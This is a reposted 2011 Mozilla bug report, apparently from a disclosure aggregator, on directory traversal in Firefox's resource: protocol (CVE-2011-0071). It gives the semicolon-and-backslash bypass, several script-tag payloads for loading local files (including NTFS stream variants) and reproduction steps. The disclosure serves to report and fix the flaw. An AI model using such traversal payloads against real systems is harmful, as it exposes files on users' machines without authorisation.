Directory Traversal in resource protocol
Originally disclosed on Mozilla
- Fixed in 22 days
- Paid in 2.5 years
- Disclosed after 22 days
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0E)
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0E)
By using a semi-colon ";" character after the resource protocol, we can bypass the protections and use "\..\" in order to do directory traversal or use the colon ":" character.
It can be used for file/directory enumeration or including important javascript files in a script tag. For example for a windows box we can use:
<script src="resource:///;\..\..\..\directory\secret.js"></script>
Or
<script src="resource:///;\..\..\..\directory\secret.js::$data"></script>
Or
<script src="resource:///something.com;\..\..\..\directory::$index_allocation\secret.js"></script>
---
Linux box might be exploitable by: resource:///something.com;\\..\\..\\..\\ (as I haven't tried it in a Linux box yet)
Reproducible: Always
Steps to Reproduce:
1. In windows, Open the following URL by using Mozilla Firefox:
resource:///;\..\..\..\
2. You can see the root directory
Actual Results:
You can see the root directory
Expected Results:
I should be limited and get "access denied" for example
I just find this bug in 15 minutes, and I am reporting this immediately to you after finding it. Therefore, excuse me if I have any mistake in writing the report.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A path traversal bug in Networking. Mozilla made it public on 2 February 2011 as CVE-2011-0071.
About Path traversal
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.